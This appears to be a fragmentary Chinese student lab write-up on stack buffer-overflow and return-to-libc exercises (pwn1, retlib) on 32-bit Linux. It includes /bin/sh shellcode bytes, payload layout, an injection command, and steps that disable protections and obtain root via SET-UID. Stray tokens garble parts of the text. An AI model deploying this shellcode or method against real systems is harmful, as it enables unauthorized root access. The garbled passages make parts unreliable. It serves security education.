\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
linux
retaddr+nop+shellcode
,nop+shellcode+retaddr
。由於retaddr在緩衝區的位置是固定的,shellcode要不在它前面,要不在它後面。簡單說緩衝區小就把shellcode放後邊,緩衝區大就把shellcode放前邊。實踐證實nop+shellcode+retaddr
對於pwn1不是成功的payload,但咱們依然決定往這個坑裏跳一下。手動微笑。shell
特別提醒:最後一個字符千萬不能是\x0a。\x0a至關於回車鍵,若回車了下面的操做就作不了了。bash
(cat input_shellcode;cat) | ./pwn1
後這裏有三種狀態,這三種狀態中只有一種才能讓接下來的實驗順利進行。保持終端2中程序的運行狀態。測試
注意:continue執行的時候,在終端2
敲一下回車,終端1中的continue暫停在斷點處。ui
要覆蓋的地址(返回地址)是0xffffd300
命令行
用0xffffd300
替換0x01020304
。
3d
成功
調試
sudo apt-get install lib32readline-gplv2-dev日誌
由於咱們最後的是要經過看「是否取得root權限」來判斷成功與否的,因此攻擊對象不能是root用戶,要建立一個新用戶。
code
進入32位環境,關閉地址隨機化,設置zsh程序代替/bin/bash
在root用戶下編譯,關閉棧保護機制。設置SET-UID
一樣是在root用戶下編譯
刪除以前生成的exploit和badfile(個人exploit由於有權限沒法命令行刪除,索性直接在places下面的圖形化界面tmp文件夾裏手動刪除)
先運行exploit再運行retlib便可得到root權限,成功!